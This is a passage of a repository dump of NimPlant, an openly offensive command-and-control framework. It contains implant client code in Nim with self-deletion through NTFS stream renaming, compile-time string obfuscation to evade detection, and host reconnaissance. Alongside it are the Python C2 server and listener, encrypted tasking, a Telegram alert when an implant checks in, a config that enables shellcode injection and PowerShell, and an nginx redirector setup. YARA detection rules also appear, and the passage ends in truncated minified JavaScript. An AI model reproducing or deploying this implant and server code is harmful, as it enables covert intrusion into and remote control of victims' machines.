| 63 | when defined verbose: 64 | echo obf("DEBUG: Successfully renamed file primary :$DATA ADS to specified stream, closing initial handle") 65 | 66 | CloseHandle(hCurrent) 67 | 68 | hCurrent = dsOpenHandle(addr wcPath[0]) 69 | if hCurrent == INVALID_HANDLE_VALUE: 70 | when defined verbose: 71 | echo obf("DEBUG: Failed to reopen current module") 72 | quit(QuitFailure) 73 | 74 | if not dsDepositeHandle(hCurrent).bool: 75 | when defined verbose: 76 | echo obf("DEBUG: Failed to set delete deposition") 77 | quit(QuitFailure) 78 | 79 | when defined verbose: 80 | echo obf("DEBUG: Closing handle to trigger deletion deposition") 81 | 82 | CloseHandle(hCurrent) 83 | 84 | if not PathFileExistsW(addr wcPath[0]).bool: 85 | when defined verbose: 86 | echo obf("DEBUG: File deleted successfully") -------------------------------------------------------------------------------- /client/util/strenc.nim: -------------------------------------------------------------------------------- 1 | import macros, hashes 2 | 3 | # Automatically obfuscate static strings in binary 4 | type 5 | dstring = distinct string 6 | 7 | proc calculate*(s: dstring, key: int): string {.noinline.} = 8 | var k = key 9 | result = string(s) 10 | for i in 0 ..< result.len: 11 | for f in [0, 8, 16, 24]: 12 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 13 | k = k +% 1 14 | 15 | var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF 16 | 17 | macro obf*(s: untyped): untyped = 18 | if len($s) < 1000: 19 | var encodedStr = calculate(dstring($s), eCtr) 20 | result = quote do: 21 | calculate(dstring(`encodedStr`), `eCtr`) 22 | eCtr = (eCtr *% 16777619) and 0x7FFFFFFF 23 | else: 24 | result = s -------------------------------------------------------------------------------- /client/util/winUtils.nim: -------------------------------------------------------------------------------- 1 | from nativesockets import gethostbyname 2 | from os import getCurrentProcessId, splitPath, getAppFilename, createDir, walkDir, splitPath, pcDir, `/`, removeDir 3 | from winim/lean import CopyFileA, GetComputerNameW, winstrConverterStringToPtrChar 4 | from winim/utils import `&` 5 | import winim/inc/[windef, winbase] 6 | import ../commands/whoami 7 | import strenc 8 | 9 | # https://github.com/nim-lang/Nim/issues/11481 10 | type 11 | USHORT = uint16 12 | WCHAR = distinct int16 13 | UCHAR = uint8 14 | NTSTATUS = int32 15 | 16 | type OSVersionInfoExW {.importc: obf("OSVERSIONINFOEXW"), header: obf("").} = object 17 | dwOSVersionInfoSize: ULONG 18 | dwMajorVersion: ULONG 19 | dwMinorVersion: ULONG 20 | dwBuildNumber: ULONG 21 | dwPlatformId: ULONG 22 | szCSDVersion: array[128, WCHAR] 23 | wServicePackMajor: USHORT 24 | wServicePackMinor: USHORT 25 | wSuiteMask: USHORT 26 | wProductType: UCHAR 27 | wReserved: UCHAR 28 | 29 | # Import the rtlGetVersion API from NTDll 30 | proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS 31 | {.cdecl, importc: obf("RtlGetVersion"), dynlib: obf("ntdll.dll").} 32 | 33 | # Get Windows build based on rtlGetVersion 34 | proc getWindowsVersion*() : string = 35 | var 36 | versionInfo: OSVersionInfoExW 37 | 38 | discard rtlGetVersion(versionInfo) 39 | var vInfo = obf("Windows ") & $versionInfo.dwMajorVersion & obf(" build ") & $versionInfo.dwBuildNumber 40 | result = vInfo 41 | 42 | # Define copyDir and moveDir functions to override os stdlib 43 | # This fixes a bug where any function with using copyFile does not work with Win11 DLLs 44 | # See: https://github.com/nim-lang/Nim/issues/21504 45 | proc copyDir*(source, dest: string) = 46 | createDir(dest) 47 | for kind, path in walkDir(source): 48 | var 49 | noSource = splitPath(path).tail 50 | dPath = dest / noSource 51 | if kind == pcDir: 52 | copyDir(path, dPath) 53 | else: 54 | CopyFileA(path, dPath, FALSE) 55 | 56 | proc moveDir*(source, dest: string) = 57 | copydir(source, dest) 58 | removeDir(source) 59 | 60 | # Get the username 61 | proc getUsername*() : string = 62 | result = whoami() 63 | 64 | # Get the hostname 65 | proc getHost*() : string = 66 | var 67 | buf : array[257, TCHAR] 68 | lpBuf : LPWSTR = addr buf[0] 69 | pcbBuf : DWORD = int32(len(buf)) 70 | 71 | discard GetComputerNameW(lpBuf, &pcbBuf) 72 | for character in buf: 73 | if character == 0: break 74 | result.add(char(character)) 75 | 76 | # Get the internal IP 77 | proc getIntIp*() : string = 78 | result = $gethostbyname(getHost()).addrList[0] 79 | 80 | # Get the current process ID 81 | proc getProcId*() : int = 82 | result = getCurrentProcessId() 83 | 84 | # Get the current process name 85 | proc getProcName*() : string = 86 | splitPath(getAppFilename()).tail -------------------------------------------------------------------------------- /config.toml.example: -------------------------------------------------------------------------------- 1 | # NIMPLANT CONFIGURATION 2 | 3 | [server] 4 | # Configure the API for the C2 server here. Recommended to keep at 127.0.0.1, change IP to 0.0.0.0 to listen on all interfaces. 5 | ip = "127.0.0.1" 6 | # Configure port for the web interface of the C2 server, including API 7 | port = 31337 8 | 9 | [listener] 10 | # Configure listener type (HTTP or HTTPS) 11 | type = "HTTP" 12 | # Certificate and key path used for 'HTTPS" listener type 13 | sslCertPath = "" 14 | sslKeyPath = "" 15 | # Configure the hostname for NimPlant to connect to 16 | # Leave as "" for IP:PORT-based connections 17 | hostname = "" 18 | # Configure listener IP, mandatory even if hostname is specified 19 | ip = "0.0.0.0" 20 | # Configure listener port, mandatory even if hostname is specified 21 | port = 80 22 | # Configure the URI paths used for C2 communications 23 | registerPath = "/register" 24 | taskPath = "/task" 25 | resultPath = "/result" 26 | 27 | [nimplant] 28 | # Allow risky commands such as 'execute-assembly', 'powershell', or 'shinject' - operator discretion advised 29 | riskyMode = true 30 | # Enable Ekko sleep mask instead of a regular sleep() call 31 | # Only available for (self-deleting) executables, not for DLL or shellcode 32 | sleepMask = false 33 | # Configure the default sleep time in seconds 34 | sleepTime = 10 35 | # Configure the default sleep jitter in % 36 | sleepJitter = 0 37 | # Configure the kill date for Nimplants (format: yyyy-MM-dd) 38 | # Nimplants will exit if this date has passed 39 | killDate = "2050-12-31" 40 | # Configure the user-agent that NimPlants use to connect 41 | # Also used by the server to verify NimPlant traffic 42 | # Choosing an inconspicuous but uncommon user-agent is therefore recommended 43 | userAgent = "NimPlant C2 Client" -------------------------------------------------------------------------------- /detection/hktl_nimplant.yar: -------------------------------------------------------------------------------- 1 | 2 | rule HKTL_NimPlant_Jan23_1 { 3 | meta: 4 | description = "Detects Nimplant C2 implants (simple rule)" 5 | author = "Florian Roth" 6 | reference = "https://github.com/chvancooten/NimPlant" 7 | date = "2023-01-30" 8 | score = 85 9 | hash1 = "3410755c6e83913c2cbf36f4e8e2475e8a9ba60dd6b8a3d25f2f1aaf7c06f0d4" 10 | hash2 = "b810a41c9bfb435fe237f969bfa83b245bb4a1956509761aacc4bd7ef88acea9" 11 | hash3 = "c9e48ba9b034e0f2043e13f950dd5b12903a4006155d6b5a456877822f9432f2" 12 | hash4 = "f70a3d43ae3e079ca062010e803a11d0dcc7dd2afb8466497b3e8582a70be02d" 13 | strings: 14 | $x1 = "NimPlant.dll" ascii fullword 15 | $x2 = "NimPlant v" ascii 16 | 17 | $a1 = "base64.nim" ascii fullword 18 | $a2 = "zippy.nim" ascii fullword 19 | $a3 = "whoami.nim" ascii fullword 20 | 21 | $sa1 = "getLocalAdm" ascii fullword 22 | $sa2 = "getAv" ascii fullword 23 | $sa3 = "getPositionImpl" ascii fullword 24 | condition: 25 | ( 26 | 1 of ($x*) and 2 of ($a*) 27 | ) 28 | or ( 29 | all of ($a*) and all of ($s*) 30 | ) 31 | or 5 of them 32 | } 33 | -------------------------------------------------------------------------------- /detection/nimplant_detection.yar: -------------------------------------------------------------------------------- 1 | rule nimplant_detection 2 | { 3 | meta: 4 | description = "Detects on-disk and in-memory artifacts of NimPlant C2 implants" 5 | author = "NVIDIA Security Team" 6 | date = "02/03/2023" 7 | 8 | strings: 9 | $oep = { 48 83 EC ( 28 48 8B 05 | 48 48 8B 05 ) [17] ( FC FF FF 90 90 48 83 C4 28 | C4 48 E9 91 FE FF FF 90 4C ) } 10 | 11 | $t1 = "parsetoml.nim" fullword 12 | $t2 = "zippy.nim" fullword 13 | $t3 = "gzip.nim" fullword 14 | $t4 = "deflate.nim" fullword 15 | $t5 = "inflate.nim" fullword 16 | 17 | $ss1 = "BeaconGetSpawnTo" 18 | $ss2 = "BeaconInjectProcess" 19 | $ss3 = "Cannot enumerate antivirus." 20 | 21 | $sr1 = "NimPlant" fullword 22 | $sr2 = "C2 Client" fullword 23 | 24 | $sh1 = "X-Identifier" fullword 25 | $sh2 = "gzip" fullword 26 | 27 | condition: 28 | ( $oep and 4 of ($t*) ) 29 | or ( 1 of ($ss*) and 1 of ($sr*) ) 30 | or ( 1 of ($sr*) and all of ($sh*) and 2 of ($t*) ) 31 | } -------------------------------------------------------------------------------- /detection/strings_test.yar: -------------------------------------------------------------------------------- 1 | rule SearchStrings 2 | { 3 | meta: 4 | description = "Searches for NimPlant-specific strings on disk or in-memory. Usage: `yara64.exe -s .\\detection\\strings_test.yar .\\client-rs\\bin\\nimplant.exe`." 5 | 6 | strings: 7 | $nimplant_string1 = "nimplant" nocase 8 | 9 | $suspicious_string1 = "dinvoke" 10 | 11 | $debugprint_string1 = "Kill date reached, exiting..." 12 | $debugprint_string2 = "Initializing client..." 13 | $debugprint_string3 = "Registering client..." 14 | $debugprint_string4 = "Changed memory protection" 15 | 16 | $debugprint_string_re1 = /Got command: .{,10} with args .{,50} \[guid .{,10}\]/ 17 | $debugprint_string_re2 = /Sleeping for .{,5} seconds/ 18 | 19 | $obfstring_string1 = "Current working directory" 20 | $obfstring_string2 = "Successfully changed working directory" 21 | $obfstring_string3 = "Error changing working directory" 22 | $obfstring_string4 = "Invalid number of arguments received." 23 | $obfstring_string5 = "Failed to protect memory" 24 | 25 | $obfstring_http1 = /{"i": .{,8}, "u": .{,50}, "h": .{,50}, "o": .{,50}, "p": .{,5}, "P": .{,50}, "r": .{,5}}/ 26 | $obfstring_http2 = /{"guid": .{,8}, "result": .{,500}}/ 27 | 28 | $config_string1a = /\[ln\][.\s\S]{,500}ua = ".{,500}"/ 29 | $config_string1b = /\[listener\][.\s\S]{,500}userAgent = ".{,500}"/ 30 | $config_string2 = /Could not parse .{,10} from configuration/ 31 | $config_string3a = "sleepMask" 32 | $config_string3b = "killDate" 33 | 34 | $command_string1 = "shinject" 35 | $command_string2 = "screenshot" 36 | $command_string3 = "getLocalAdm" 37 | 38 | $coff_string1 = "BeaconGetSpawnTo" 39 | $coff_string2 = "Cannot run x64 COFF on i686 architecture" 40 | $coff_string3 = "This BOF expects arguments" 41 | $coff_string4 = "Unsupported relocation type" 42 | 43 | condition: 44 | any of them 45 | } -------------------------------------------------------------------------------- /docker-example/docker-compose.yml: -------------------------------------------------------------------------------- 1 | # Example docker-compose file to run NimPlant with Nginx as a reverse proxy 2 | # 3 | # To use, move a `config.toml` file to the same directory as this file, 4 | # create a `certs` directory and place your SSL certificates there, 5 | # and update the placeholder html in the `html` directory. 6 | 7 | services: 8 | nimplant: 9 | image: chvancooten/nimplant:latest 10 | container_name: nimplant 11 | command: python3 nimplant.py server 12 | ports: 13 | - "127.0.0.1:31337:31337" 14 | volumes: 15 | # Mount our NimPlant folder with the configuration file and XOR key 16 | - ..:/nimplant 17 | # Sync the timezone with the host 18 | - /etc/localtime:/etc/localtime:ro 19 | # TTY and stdin are required for the NimPlant console 20 | tty: true 21 | stdin_open: true 22 | networks: 23 | - internal 24 | 25 | nginx: 26 | image: nginx:latest 27 | container_name: nginx 28 | ports: 29 | - "80:80" 30 | - "443:443" 31 | volumes: 32 | # Mount our configuration file 33 | - ./nginx.conf:/etc/nginx/nginx.conf 34 | # Place your placeholder HTML (at least index.html) in ./html 35 | - ./html:/usr/share/nginx/html 36 | # Request certs with e.g. `certbot certonly -d example.com` and place in ./certs 37 | - ./certs:/usr/share/nginx/certs 38 | networks: 39 | - internal 40 | 41 | networks: 42 | internal: 43 | driver: bridge 44 | -------------------------------------------------------------------------------- /docker-example/html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Welcome 8 | 9 | 10 | 11 |

Welcome to Nginx!

12 | 13 | 14 | -------------------------------------------------------------------------------- /docker-example/nginx.conf: -------------------------------------------------------------------------------- 1 | events {} 2 | 3 | http { 4 | server { 5 | listen 80; 6 | 7 | # Redirect all HTTP requests to HTTPS 8 | return 301 https://$host$request_uri; 9 | } 10 | 11 | server { 12 | listen 443 ssl; 13 | 14 | # Place your SSL certs (generated with Let's Encrypt or otherwise) 15 | # in the `certs` directory 16 | ssl_certificate /usr/share/nginx/certs/fullchain.pem; 17 | ssl_certificate_key /usr/share/nginx/certs/privkey.pem; 18 | 19 | location / { 20 | root /usr/share/nginx/html; 21 | index index.html; 22 | } 23 | 24 | # Redirect requests matching our NimPlant config to the NimPlant container 25 | # In this case, we redirect requests starting with `/api/v1`, so config.toml 26 | # could look like this: 27 | # registerPath = "/api/v1/init" 28 | # taskPath = "/api/v1/checkin" 29 | # resultPath = "/api/v1/submit" 30 | location /api/v1/ { 31 | proxy_pass http://nimplant:80; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /server/.gitattributes: -------------------------------------------------------------------------------- 1 | web/* linguist-generated 2 | -------------------------------------------------------------------------------- /server/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chvancooten/NimPlant/af61429e758ce22ef2c21a06650170e7e4c96ce9/server/__init__.py -------------------------------------------------------------------------------- /server/api/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chvancooten/NimPlant/af61429e758ce22ef2c21a06650170e7e4c96ce9/server/api/__init__.py -------------------------------------------------------------------------------- /server/requirements.txt: -------------------------------------------------------------------------------- 1 | cryptography==43.0.0 2 | flask_cors==4.0.1 3 | Flask==3.0.3 4 | gevent==24.2.1 5 | itsdangerous==2.2.0 6 | Jinja2==3.1.4 7 | prompt_toolkit==3.0.47; sys_platform=="win32" 8 | PyCryptoDome==3.20.0 9 | pyyaml==6.0.1 10 | requests==2.32.3 11 | toml==0.10.2 12 | werkzeug==3.0.3 -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # ----- 4 | # 5 | # NimPlant Server - The "C2-ish"™ handler for the NimPlant payload 6 | # By Cas van Cooten (@chvancooten) 7 | # 8 | # ----- 9 | 10 | import threading 11 | import time 12 | 13 | from server.api.server import ( 14 | api_server, 15 | server_ip, 16 | server_port, 17 | ) 18 | from server.util.db import ( 19 | initialize_database, 20 | db_initialize_server, 21 | db_is_previous_server_same_config, 22 | ) 23 | from server.util.func import ( 24 | exit_server_console, 25 | nimplant_print, 26 | periodic_nimplant_checks, 27 | ) 28 | from server.util.listener import ( 29 | flask_listener, 30 | listener_type, 31 | listener_ip, 32 | listener_port, 33 | ) 34 | from server.util.nimplant import np_server 35 | from server.util.input import prompt_user_for_command 36 | 37 | 38 | def main(xor_key=459457925, name=""): 39 | # Initialize the SQLite database 40 | initialize_database() 41 | 42 | # Restore the previous server session if config remains unchanged 43 | # Otherwise, initialize a new server session 44 | if db_is_previous_server_same_config(np_server, xor_key): 45 | nimplant_print("Existing server session found, restoring...") 46 | np_server.restore_from_db() 47 | else: 48 | np_server.initialize(name, xor_key) 49 | db_initialize_server(np_server) 50 | 51 | # Start daemonized Flask server for API communications 52 | t1 = threading.Thread(name="Listener", target=api_server) 53 | t1.daemon = True 54 | t1.start() 55 | nimplant_print(f"Started management server on http://{server_ip}:{server_port}.") 56 | 57 | # Start another thread for NimPlant listener 58 | t2 = threading.Thread(name="Listener", target=flask_listener, args=(xor_key,)) 59 | t2.daemon = True 60 | t2.start() 61 | nimplant_print( 62 | f"Started NimPlant listener on {listener_type.lower()}://{listener_ip}:{listener_port}. CTRL-C to cancel waiting for NimPlants." 63 | ) 64 | 65 | # Start another thread to periodically check if nimplants checked in on time 66 | t3 = threading.Thread(name="Listener", target=periodic_nimplant_checks) 67 | t3.daemon = True 68 | t3.start() 69 | 70 | # Run the console as the main thread 71 | while True: 72 | try: 73 | if np_server.is_active_nimplant_selected(): 74 | prompt_user_for_command() 75 | elif np_server.has_active_nimplants(): 76 | np_server.get_next_active_nimplant() 77 | else: 78 | pass 79 | 80 | time.sleep(0.5) 81 | 82 | except KeyboardInterrupt: 83 | exit_server_console() 84 | -------------------------------------------------------------------------------- /server/util/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chvancooten/NimPlant/af61429e758ce22ef2c21a06650170e7e4c96ce9/server/util/__init__.py -------------------------------------------------------------------------------- /server/util/config.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import toml 4 | 5 | # Parse server configuration 6 | configPath = os.path.abspath(os.path.join(os.path.dirname(sys.argv[0]), "config.toml")) 7 | config = toml.load(configPath) 8 | -------------------------------------------------------------------------------- /server/util/crypto.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import random 3 | import string 4 | from Crypto.Cipher import AES 5 | from Crypto.Util import Counter 6 | 7 | 8 | # XOR function to transmit key securely. Matches nimplant XOR function in 'client/util/crypto.nim' 9 | def xor_string(value, key): 10 | k = key 11 | result = [] 12 | for c in value: 13 | character = ord(c) 14 | for f in [0, 8, 16, 24]: 15 | character = character ^ (k >> f) & 0xFF 16 | result.append(character) 17 | k = k + 1 18 | # Return a bytes-like object constructed from the iterator to prevent chr()/encode() issues 19 | return bytes(result) 20 | 21 | 22 | def random_string( 23 | size, chars=string.ascii_letters + string.digits + string.punctuation 24 | ): 25 | return "".join(random.choice(chars) for _ in range(size)) 26 | 27 | 28 | # https://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr 29 | def encrypt_data(plaintext: str, key: str) -> str: 30 | iv = random_string(16).encode("UTF-8") 31 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 32 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 33 | try: 34 | ciphertext = iv + aes.encrypt(plaintext.encode("UTF-8")) 35 | except AttributeError: 36 | ciphertext = iv + aes.encrypt(plaintext) 37 | enc = base64.b64encode(ciphertext).decode("UTF-8") 38 | return enc 39 | 40 | 41 | def decrypt_data(blob: bytes, key: str) -> str: 42 | ciphertext = base64.b64decode(blob) 43 | iv = ciphertext[:16] 44 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 45 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 46 | dec = aes.decrypt(ciphertext[16:]).decode("UTF-8") 47 | return dec 48 | 49 | 50 | def decrypt_data_to_bytes(blob: bytes, key: str) -> bytes: 51 | ciphertext = base64.b64decode(blob) 52 | iv = ciphertext[:16] 53 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 54 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 55 | dec = aes.decrypt(ciphertext[16:]) 56 | return dec 57 | -------------------------------------------------------------------------------- /server/util/input.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | # Command history and command / path completion on Linux 4 | if os.name == "posix": 5 | import readline 6 | from server.util.commands import get_command_list 7 | 8 | commands = get_command_list() 9 | 10 | def list_folder(path): 11 | if path.startswith(os.path.sep): 12 | # absolute path 13 | basedir = os.path.dirname(path) 14 | contents = os.listdir(basedir) 15 | # add back the parent 16 | contents = [os.path.join(basedir, d) for d in contents] 17 | else: 18 | # relative path 19 | contents = os.listdir(os.curdir) 20 | return contents 21 | 22 | # Dynamically complete commands 23 | def complete(text, state): 24 | line = readline.get_line_buffer() 25 | if line == text: 26 | results = [x for x in commands if x.startswith(text)] + [None] 27 | else: 28 | results = [x for x in list_folder(text) if x.startswith(text)] + [None] 29 | 30 | return results[state] 31 | 32 | readline.set_completer(complete) 33 | readline.parse_and_bind("tab: complete") 34 | readline.set_completer_delims(" \t\n`~!@#$%^&*()-=+[{]}\\|;:'\",<>?") 35 | inputFunction = input 36 | 37 | # Command history and command / path completion on Windows 38 | else: 39 | from prompt_toolkit import PromptSession 40 | from prompt_toolkit.auto_suggest import AutoSuggestFromHistory 41 | from prompt_toolkit.completion import NestedCompleter 42 | from prompt_toolkit.contrib.completers.system import SystemCompleter 43 | from prompt_toolkit.shortcuts import CompleteStyle 44 | 45 | from server.util.commands import get_command_list 46 | 47 | commands = get_command_list() 48 | 49 | # Complete system commands and paths 50 | systemCompleter = SystemCompleter() 51 | 52 | # Use a nested dict for each command to prevent arguments from being auto-completed before a command is entered and vice versa 53 | completion_dict = {} 54 | for c in commands: 55 | completion_dict[c] = systemCompleter 56 | nestedCompleter = NestedCompleter.from_nested_dict(completion_dict) 57 | 58 | session = PromptSession() 59 | 60 | 61 | # User prompt 62 | def prompt_user_for_command(): 63 | from server.util.nimplant import np_server, NimPlant 64 | from server.util.commands import handle_command 65 | 66 | np: NimPlant = np_server.get_active_nimplant() 67 | 68 | if os.name == "posix": 69 | command = input(f"NimPlant {np.id} $ > ") 70 | else: 71 | command = session.prompt( 72 | f"NimPlant {np.id} $ > ", 73 | completer=nestedCompleter, 74 | complete_style=CompleteStyle.READLINE_LIKE, 75 | auto_suggest=AutoSuggestFromHistory(), 76 | ) 77 | 78 | handle_command(command) 79 | -------------------------------------------------------------------------------- /server/util/notify.py: -------------------------------------------------------------------------------- 1 | import os 2 | import urllib.parse 3 | import requests 4 | from server.util.nimplant import NimPlant 5 | 6 | # This is a placeholder class for easy extensibility, more than anything 7 | # You can easily add your own notification method below, and call it in the 'notify_user' function 8 | # It will then be called when a new implant checks in, passing the NimPlant object (see nimplant.py) 9 | 10 | 11 | def notify_user(np: NimPlant): 12 | try: 13 | message = ( 14 | "*A new NimPlant checked in!*\n\n" 15 | f"```\nUsername: {np.username}\n" 16 | f"Hostname: {np.hostname}\n" 17 | f"OS build: {np.os_build}\n" 18 | f"External IP: {np.ip_external}\n" 19 | f"Internal IP: {np.ip_internal}\n```" 20 | ) 21 | 22 | if ( 23 | os.getenv("TELEGRAM_CHAT_ID") is not None 24 | and os.getenv("TELEGRAM_BOT_TOKEN") is not None 25 | ): 26 | # Telegram notification 27 | notify_telegram( 28 | message, os.getenv("TELEGRAM_CHAT_ID"), os.getenv("TELEGRAM_BOT_TOKEN") 29 | ) 30 | else: 31 | # No relevant environment variables set, do not notify 32 | pass 33 | except Exception as e: 34 | print(f"An exception occurred while trying to send a push notification: {e}") 35 | 36 | 37 | def notify_telegram(message, telegram_chat_id, telegram_bot_token): 38 | message = urllib.parse.quote(message) 39 | notification_request = ( 40 | "https://api.telegram.org/bot" 41 | + telegram_bot_token 42 | + "/sendMessage?chat_id=" 43 | + telegram_chat_id 44 | + "&parse_mode=Markdown&text=" 45 | + message 46 | ) 47 | response = requests.get(notification_request) 48 | return response.json() 49 | -------------------------------------------------------------------------------- /server/util/strings.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | from typing import Optional 4 | 5 | # A list of fallback encodings to be used as alternatives when decoding byte streams that fail with UTF-8 encoding. 6 | # These encodings cover a variety of languages and scripts, providing broad compatibility across different regions. 7 | FALLBACK_ENCODINGS: list[str] = [ 8 | # Japanese 9 | 'shift_jis', 'euc-jp', 10 | # Simplified/Traditional Chinese 11 | 'gbk', 'big5', 12 | # Cyrillic 13 | 'koi8-r', 'koi8-u', 14 | # Alternatives for Europe 15 | 'windows-1252', 'iso-8859-2', 'iso-8859-5', 'iso-8859-7', 'iso-8859-9', 16 | ] 17 | 18 | 19 | def decode_data_blob(data_blob: bytes, fallback_encodings: Optional[list[str]] = None): 20 | """ 21 | Attempts to decode a data blob using UTF-8, then falls back to other specified encodings if UTF-8 decoding fails. 22 | The decoded string is then encoded back to UTF-8 to ensure compatibility with UTF-8 only systems. 23 | 24 | Parameters: 25 | data_blob (bytes): The byte sequence to decode. 26 | fallback_encodings (list of str, optional): A list of encoding names to try if UTF-8 decoding fails. 27 | 28 | Returns: 29 | str: The UTF-8 encoded string, regardless of the original encoding. 30 | 31 | Raises: 32 | UnicodeDecodeError: If decoding fails for UTF-8 and all specified fallback encodings. 33 | """ 34 | 35 | decoded_string = None 36 | 37 | if fallback_encodings is None: 38 | fallback_encodings = FALLBACK_ENCODINGS 39 | 40 | # Try UTF-8 first, then fallback encodings 41 | for encoding in ['utf-8'] + fallback_encodings: 42 | try: 43 | decoded_string = data_blob.decode(encoding) 44 | break # Stop on the first successful decoding 45 | except UnicodeDecodeError: 46 | continue 47 | 48 | if decoded_string is None: 49 | raise UnicodeDecodeError("Failed to decode data blob with the provided encodings.") 50 | 51 | # Ensure the output is encoded in UTF-8 52 | return decoded_string.encode('utf-8').decode('utf-8') 53 | 54 | 55 | def decode_base64_blob(data_base64: str, fallback_encodings: Optional[list[str]] = None): 56 | """ 57 | Decodes data from Base64 encoding to binary, then attempts to decode the binary data using UTF-8. 58 | If UTF-8 decoding fails, it tries the specified fallback encodings in order. 59 | The final decoded string is ensured to be valid UTF-8. 60 | 61 | Parameters: 62 | data_base64 (str): The Base64 encoded string to decode. 63 | fallback_encodings (list of str, optional): A list of encoding names to try if UTF-8 decoding fails. 64 | 65 | Returns: 66 | str: The decoded string from the original binary data, encoded in UTF-8. 67 | 68 | Raises: 69 | ValueError: If the input is not correctly Base64-encoded. 70 | UnicodeDecodeError: If decoding fails for UTF-8 and all specified fallback encodings. 71 | """ 72 | 73 | try: 74 | data_blob = base64.b64decode(data_base64) 75 | except binascii.Error as e: 76 | raise ValueError("Invalid Base64 data") from e 77 | 78 | # Reuse the `decode_data_blob` function to decode the binary data 79 | return decode_data_blob(data_blob, fallback_encodings) 80 | -------------------------------------------------------------------------------- /server/web/static/_next/static/1HDpMKy_Z6k131KtodBGP/_buildManifest.js: -------------------------------------------------------------------------------- 1 | self.__BUILD_MANIFEST=function(s,a,e,c,t,n){return{__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":[s,"static/css/1bfdeded59ccc0ae.css","static/chunks/pages/index-598a224f0301f676.js"],"/_error":["static/chunks/pages/_error-77823ddac6993d35.js"],"/downloads":[s,a,e,"static/chunks/pages/downloads-a98c770860b40d3a.js"],"/nimplants":[s,a,e,"static/chunks/pages/nimplants-8789233be6c2535f.js"],"/nimplants/details":[c,s,a,t,n,"static/chunks/pages/nimplants/details-c675f6f5e2259439.js"],"/server":[c,s,a,t,n,"static/chunks/pages/server-2b8f1c88ec2d3025.js"],sortedPages:["/","/_app","/_error","/downloads","/nimplants","/nimplants/details","/server"]}}("static/chunks/188-6b6ae4d8616a6862.js","static/chunks/7-a90dc58109139329.js","static/css/a741aa5e293e3dbc.css","static/chunks/5c0b189e-8529559d513024f7.js","static/chunks/511-99b699838343524d.js","static/chunks/501-1eeab0a73de0fc3c.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); -------------------------------------------------------------------------------- /server/web/static/_next/static/1HDpMKy_Z6k131KtodBGP/_ssgManifest.js: -------------------------------------------------------------------------------- 1 | self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB(); -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/5c0b189e-8529559d513024f7.js: -------------------------------------------------------------------------------- 1 | "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[342],{3075:function(e,n,t){t.d(n,{YF:function(){return k}});var r,u=t(7294),l=t(7317);t(3935);var f=t(1371);let o={...r||(r=t.t(u,2))},c=o.useInsertionEffect||(e=>e());var s="undefined"!=typeof document?u.useLayoutEffect:u.useEffect;let a=!1,i=0,d=()=>"floating-ui-"+Math.random().toString(36).slice(2,6)+i++,m=o.useId||function(){let[e,n]=u.useState(()=>a?d():void 0);return s(()=>{null==e&&n(d())},[]),u.useEffect(()=>{a=!0},[]),e},g=u.createContext(null),v=u.createContext(null),C=()=>{var e;return(null==(e=u.useContext(g))?void 0:e.id)||null},R=()=>u.useContext(v);function k(e){void 0===e&&(e={});let{nodeId:n}=e,t=function(e){let{open:n=!1,onOpenChange:t,elements:r}=e,l=m(),f=u.useRef({}),[o]=u.useState(()=>(function(){let e=new Map;return{emit(n,t){var r;null==(r=e.get(n))||r.forEach(e=>e(t))},on(n,t){e.set(n,[...e.get(n)||[],t])},off(n,t){var r;e.set(n,(null==(r=e.get(n))?void 0:r.filter(e=>e!==t))||[])}}})()),s=null!=C(),[a,i]=u.useState(r.reference),d=function(e){let n=u.useRef(()=>{});return c(()=>{n.current=e}),u.useCallback(function(){for(var e=arguments.length,t=Array(e),r=0;r{f.current.openEvent=e?n:void 0,o.emit("openchange",{open:e,event:n,reason:r,nested:s}),null==t||t(e,n,r)}),g=u.useMemo(()=>({setPositionReference:i}),[]),v=u.useMemo(()=>({reference:a||r.reference||null,floating:r.floating||null,domReference:r.reference}),[a,r.reference,r.floating]);return u.useMemo(()=>({dataRef:f,open:n,onOpenChange:d,elements:v,events:o,floatingId:l,refs:g}),[n,d,v,o,l,g])}({...e,elements:{reference:null,floating:null,...e.elements}}),r=e.rootContext||t,o=r.elements,[a,i]=u.useState(null),[d,g]=u.useState(null),v=(null==o?void 0:o.reference)||a,k=u.useRef(null),E=R();s(()=>{v&&(k.current=v)},[v]);let M=(0,f.YF)({...e,elements:{...o,...d&&{reference:d}}}),h=u.useCallback(e=>{let 